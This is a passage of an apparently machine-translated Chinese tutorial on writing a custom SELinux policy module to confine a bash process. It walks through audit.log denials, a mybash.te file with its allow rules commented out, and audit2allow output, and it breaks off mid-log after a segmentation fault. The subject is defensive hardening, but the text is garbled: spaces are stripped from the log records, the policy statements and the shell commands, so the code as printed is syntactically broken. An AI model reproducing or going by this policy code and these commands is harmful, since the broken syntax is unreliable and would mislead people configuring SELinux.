type=SYSCALLmsg=audit(1683645539.705:301247):arch=c000003esyscall=92success=yesexit=0a0=55bdf355c5f0a1=3e8a2=3e8a3=55bdf355c7a0items=0ppid=172599pid=173167auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000tty=pts2ses=32 comm='bash'exe='/usr/bin/bash'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=chownAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'請注意包含所請求權限類型和模式的拒絕字段permissive=1,這實際上意味著此SELinux 策略允許這些權限,並且只是在audit.log 中警告它們。

現在,讓我們在自定義bash 進程中執行ls 命令,看看不帶參數執行此命令需要什麼:

type=AVCmsg=audit(1683645670.511:301248):avc:denied{read}forpid=173244comm='ls'name='setcon'dev='dm-1'ino=1211972scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_t:s0tclass=dirpermissive=1

type=SYSCALLmsg=audit(1683645670.511:301248):arch=c000003esyscall=257success=yesexit=3a0=ffffff9ca1=562f22c913d0a2=90800a3=0items=0ppid=173219pid=173244auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000 tty=pts2ses=32comm='ls'exe='/usr/bin/ls'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=openatAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'有了ls,我們可以繼續處理/bin/bash 進程並了解如何使用SELinux 強制執行訪問控制。

制定執行政策audit.log 文件中的SELinux 日誌描述了/bin/bash 進程執行的操作。我們將通過註釋掉“permissive”行並刪除任何其他自動生成的權限來禁用自定義策略中的permissive 模式。此後,該策略將生效,這意味著SELinux 將阻止所有不需要的訪問嘗試。

更新後的政策現在如下所示:

policy_module(mybash,1.0.0)

########################################

#

#Declarations

#

attribute_rolemybash_roles;

roleattributesystem_rmybash_roles;

typemybash_t;

typemybash_exec_t;

application_domain(mybash_t,mybash_exec_t)

rolemybash_rolestypesmybash_t;

unconfined_run_to(mybash_t,mybash_exec_t)

#permissivemybash_t;

########################################

#

#mybashlocalpolicy

#

#allowmybash_tself:capability{chownsetgidsetuid};

#allowmybash_tself:process{forksetpgidsetrlimitsignal_perms};

#allowmybash_tself:fifo_filemanage_fifo_file_perms;

#allowmybash_tself:unix_stream_socketcreate_stream_socket_perms;

#domain_use_interactive_fds(mybash_t)

#files_read_etc_files(mybash_t)

#auth_use_nsswitch(mybash_t)

#logging_send_syslog_msg(mybash_t)通過刪除權限,我們有效地限制了/bin/bash 進程的SELinux 上下文。讓我們安裝更新的策略並嘗試運行新的自定義bash:

$sudo./mybash.sh

$./mybash但是,這只會在日誌中產生一行:

type=AVCmsg=audit(1683646222.408:301270):avc:denied{entrypoint}forpid=173428comm='mybash'path='/usr/bin/bash'dev='dm-1'ino=16959619scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=system_u:object_r:shell_exec_t:s0tclass=filepermissive=0不幸的是,我們的bash 進程缺乏啟動所需的權限。為了解決這個問題,讓我們使用命令生成權限audit2allow並更新我們的策略:

$echo'type=AVCmsg=audit(1683646222.408:301270):avc:denied{entrypoint}forpid=173428comm='mybash'path='/usr/bin/bash'dev='dm-1'ino=16959619scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=system_u:object_r:shell_exec_t:s0tclass=filepermissive=0'|audit2allow-r

require{

typemybash_t;

typeshell_exec_t;

classfileentrypoint;

}

#=============mybash_t==============

allowmybash_tshell_exec_t:fileentrypoint;接下來,讓我們將生成的行添加到mybash.te 文件的末尾並安裝更新的策略:

$sudo./mybash.sh

$./mybash

Segmentationfault即使進行這些修改後,bash 進程仍然無法啟動,從而導致分段錯誤。所以我們需要將這一行添加到audit.log中:

type=AVCmsg=audit(1683646840.208:301287):avc:denied{map}forpid=173620comm='bash'